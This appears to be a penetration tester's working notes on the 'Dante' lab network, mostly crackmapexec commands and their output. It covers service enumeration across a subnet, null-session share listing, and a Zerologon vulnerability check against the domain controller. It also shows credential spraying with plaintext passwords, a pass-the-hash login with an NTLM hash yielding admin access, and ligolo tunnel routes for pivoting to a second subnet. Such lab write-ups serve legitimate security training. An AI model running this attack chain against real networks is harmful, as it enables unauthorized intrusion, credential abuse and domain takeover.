Crackmapexec to scan the network

 crackmapexec smb 172.16.1.0/24 2>/dev/null
SMB         172.16.1.5      445    DANTE-SQL01      [*] Windows Server 2016 Standard 14393 x64 (name:DANTE-SQL01) (domain:DANTE-SQL01) (signing:False) (SMBv1:True)
SMB         172.16.1.20     445    DANTE-DC01       [*] Windows Server 2012 R2 Standard 9600 x64 (name:DANTE-DC01) (domain:DANTE.local) (signing:True) (SMBv1:True)
SMB         172.16.1.10     445    DANTE-NIX02      [*] Windows 6.1 Build 0 (name:DANTE-NIX02) (domain:) (signing:False) (SMBv1:False)
SMB         172.16.1.17     445    DANTE-NIX03      [*] Windows 6.1 Build 0 (name:DANTE-NIX03) (domain:) (signing:False) (SMBv1:False)
SMB         172.16.1.101    445    DANTE-WS02       [*] Windows 10.0 Build 18362 x64 (name:DANTE-WS02) (domain:DANTE-WS02) (signing:False) (SMBv1:False)
SMB         172.16.1.102    445    DANTE-WS03       [*] Windows 10.0 Build 19041 x64 (name:DANTE-WS03) (domain:DANTE-WS03) (signing:False) (SMBv1:False)
SMB         172.16.1.13     445    DANTE-WS01       [*] Windows 10.0 Build 18362 (name:DANTE-WS01) (domain:DANTE-WS01) (signing:False) (SMBv1:False)
 
 
 
 
SSH         172.16.1.12     22     172.16.1.12      [*] SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
SSH         172.16.1.10     22     172.16.1.10      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
SSH         172.16.1.20     22     172.16.1.20      [*] SSH-2.0OpenSSH_for_Windows_8.1
SSH         172.16.1.100    22     172.16.1.100     [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4
 
 
 
 
 
MSSQL       172.16.1.5      1433   DANTE-SQL01      [*] Windows 10.0 Build 14393 (name:DANTE-SQL01) (domain:DANTE-SQL01)
MSSQL       172.16.1.10     1433   DANTE-NIX02      [*] Windows 6.1 Build 0 (name:DANTE-NIX02) (domain:)
MSSQL       172.16.1.13     1433   DANTE-WS01       [*] Windows 10.0 Build 18362 (name:DANTE-WS01) (domain:DANTE-WS01)
MSSQL       172.16.1.17     1433   DANTE-NIX03      [*] Windows 6.1 Build 0 (name:DANTE-NIX03) (domain:)
MSSQL       172.16.1.20     1433   DANTE-DC01       [*] Windows 6.3 Build 9600 (name:DANTE-DC01) (domain:DANTE.local)
MSSQL       172.16.1.101    1433   DANTE-WS02       [*] Windows 10.0 Build 18362 (name:DANTE-WS02) (domain:DANTE-WS02)
MSSQL       172.16.1.102    1433   DANTE-WS03       [*] Windows 10.0 Build 19041 (name:DANTE-WS03) (domain:DANTE-WS03)
 
 
 
 
RDP         172.16.1.102    3389   DANTE-WS03       [*] Windows 10 or Windows Server 2016 Build 19041 (name:DANTE-WS03) (domain:DANTE-WS03) (nla:True)
RDP         172.16.1.20     3389   DANTE-DC01       [*] Windows 8.1 or Windows Server 2012 R2 Build 9600 (name:DANTE-DC01) (domain:DANTE.local) (nla:True)
 
 
 
 
FTP         172.16.1.5      21     172.16.1.5       [*] Banner: Dante Staff Drop Box
FTP         172.16.1.101    21     172.16.1.101     [*] Banner:-FileZilla Server 0.9.60 beta
220 DANTE-FTP
FTP         172.16.1.12     21     172.16.1.12      [*] Banner: ProFTPD Server (ProFTPD) [::ffff:172.16.1.12]
 
 
 
 
SMB         172.16.1.20     5985   DANTE-DC01       [*] Windows 6.3 Build 9600 (name:DANTE-DC01) (domain:DANTE.local)
HTTP        172.16.1.20     5985   DANTE-DC01       [*] http://172.16.1.20:5985/wsman
SMB         172.16.1.5      5985   DANTE-SQL01      [*] Windows 10.0 Build 14393 (name:DANTE-SQL01) (domain:DANTE-SQL01)
HTTP        172.16.1.5      5985   DANTE-SQL01      [*] http://172.16.1.5:5985/wsman
SMB         172.16.1.101    5985   DANTE-WS02       [*] Windows 10.0 Build 18362 (name:DANTE-WS02) (domain:DANTE-WS02)
HTTP        172.16.1.101    5985   DANTE-WS02       [*] http://172.16.1.101:5985/wsman
SMB         172.16.1.102    5985   DANTE-WS03       [*] Windows 10.0 Build 19041 (name:DANTE-WS03) (domain:DANTE-WS03)
HTTP        172.16.1.102    5985   DANTE-WS03       [*] http://172.16.1.102:5985/wsman
 

Checking NUll smb shares

crackmapexec smb 172.16.1.0/24 -u '' -p '' --shares 2>/dev/null
SMB         172.16.1.10     445    DANTE-NIX02      Share           Permissions     Remark
SMB         172.16.1.10     445    DANTE-NIX02      -----           -----------     ------
SMB         172.16.1.10     445    DANTE-NIX02      print$                          Printer Drivers
SMB         172.16.1.10     445    DANTE-NIX02      SlackMigration  READ
SMB         172.16.1.10     445    DANTE-NIX02      IPC$                            IPC Service (DANTE-NIX02 server (Samba, Ubuntu))
SMB         172.16.1.17     445    DANTE-NIX03      Share           Permissions     Remark
SMB         172.16.1.17     445    DANTE-NIX03      -----           -----------     ------
SMB         172.16.1.17     445    DANTE-NIX03      forensics       READ,WRITE
SMB         172.16.1.17     445    DANTE-NIX03      IPC$                            IPC Service (DANTE-NIX03 server (Samba, Ubuntu))

Checking zerologon

 
 crackmapexec smb 172.16.1.20 -u '' -p '' -M zerologon 2>/dev/null
SMB         172.16.1.20     445    DANTE-DC01       [*] Windows Server 2012 R2 Standard 9600 x64 (name:DANTE-DC01) (domain:DANTE.local) (signing:True) (SMBv1:True)
SMB         172.16.1.20     445    DANTE-DC01       [+] DANTE.local\:
ZEROLOGO... 172.16.1.20     445    DANTE-DC01       VULNERABLE
ZEROLOGO... 172.16.1.20     445    DANTE-DC01       Next step: https://github.com/dirkjanm/CVE-2020-1472

Exploitation

Eumeration after getting hash from DC01

mrb3n

 
crackmapexec smb 172.16.1.0/24 -u 'mrb3n' -p 'Welcome1' 2>/dev/null
 
SMB         172.16.1.10     445    DANTE-NIX02      [+] \mrb3n:Welcome1
SMB         172.16.1.17     445    DANTE-NIX03      [+] \mrb3n:Welcome1

xadmin

crackmapexec smb 172.16.1.0/24 -u 'xadmin' -p 'Peacemaker!' 2>/dev/null
 
SMB         172.16.1.10     445    DANTE-NIX02      [+] \xadmin:Peacemaker!
SMB         172.16.1.20     445    DANTE-DC01       [+] DANTE.local\xadmin:Peacemaker! (Pwn3d!)
SMB         172.16.1.17     445    DANTE-NIX03      [+] \xadmin:Peacemaker!
 
 
 
WINRM       172.16.1.20     5985   DANTE-DC01       [+] DANTE.local\xadmin:Peacemaker! (Pwn3d!)

SelfHealUser

Nothing found other than smb

katwamba

crackmapexec winrm 172.16.1.0/24 -u 'katwamba' -H 14a71f9e65448d83e8c63d46355837c3 2>/dev/null
 
 
 
WINRM       172.16.1.20     5985   DANTE-DC01       [+] DANTE.local\katwamba:14a71f9e65448d83e8c63d46355837c3 (Pwn3d!)
 
 
 
 
SMB         172.16.1.20     445    DANTE-DC01       Share           Permissions     Remark
SMB         172.16.1.20     445    DANTE-DC01       -----           -----------     ------
SMB         172.16.1.20     445    DANTE-DC01       ADMIN$          READ,WRITE      Remote Admin
SMB         172.16.1.20     445    DANTE-DC01       C$              READ,WRITE      Default share
SMB         172.16.1.20     445    DANTE-DC01       CertEnroll      READ,WRITE      Active Directory Certificate Services share
SMB         172.16.1.20     445    DANTE-DC01       Company         READ,WRITE      Company
SMB         172.16.1.20     445    DANTE-DC01       Department Shares READ,WRITE
SMB         172.16.1.20     445    DANTE-DC01       File History Backups READ,WRITE      File History Backups
SMB         172.16.1.20     445    DANTE-DC01       Folder Redirection READ,WRITE      Folder Redirection
SMB         172.16.1.20     445    DANTE-DC01       IPC$                            Remote IPC
SMB         172.16.1.20     445    DANTE-DC01       NETLOGON        READ,WRITE      Logon server share
SMB         172.16.1.20     445    DANTE-DC01       Shared Folders  READ
SMB         172.16.1.20     445    DANTE-DC01       SYSVOL          READ            Logon server share
SMB         172.16.1.20     445    DANTE-DC01       Users           READ,WRITE      Users

Ping sweep on DC01

172.16.1.19: True
172.16.2.5: True

Ligolo for DC02

sudo ip tuntap add user jay mode tun ligolo
 
sudo ip link set ligolo up
 
sudo ip route add 172.16.2.0/24 dev ligolo
 
sudo ip route add 172.16.1.0/24 dev ligolo

DC02 Dante.admin Domain Enumeration